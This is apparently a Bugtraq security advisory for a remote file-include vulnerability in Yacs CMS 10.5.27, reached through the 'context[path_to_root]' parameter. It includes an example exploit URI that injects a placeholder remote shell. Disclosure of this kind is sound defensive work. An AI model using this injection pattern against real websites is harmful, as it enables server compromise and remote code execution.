Yacs CMS 'context[path_to_root]' Parameter Remote File Include Vulnerability

Bugtraq ID:	41773
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 18 2010 12:00AM
Updated:	Jul 18 2010 12:00AM
Credit:	eidelweiss
Vulnerable:	YACS Yacs CMS 10.5.27
Not Vulnerable:

Yacs CMS 'context[path_to_root]' Parameter Remote File Include Vulnerability

Yacs CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Yacs CMS 10.5.27 is vulnerable; other versions may be affected.

Yacs CMS 'context[path_to_root]' Parameter Remote File Include Vulnerability

Attackers can exploit this issue through a browser.

The following example URI is available:

http://www.example.com/index.php?context[path_to_root]= [inj3ct0r shell]

Yacs CMS 'context[path_to_root]' Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Yacs CMS 'context[path_to_root]' Parameter Remote File Include Vulnerability

References:

• Vendor Homepage (Yacs)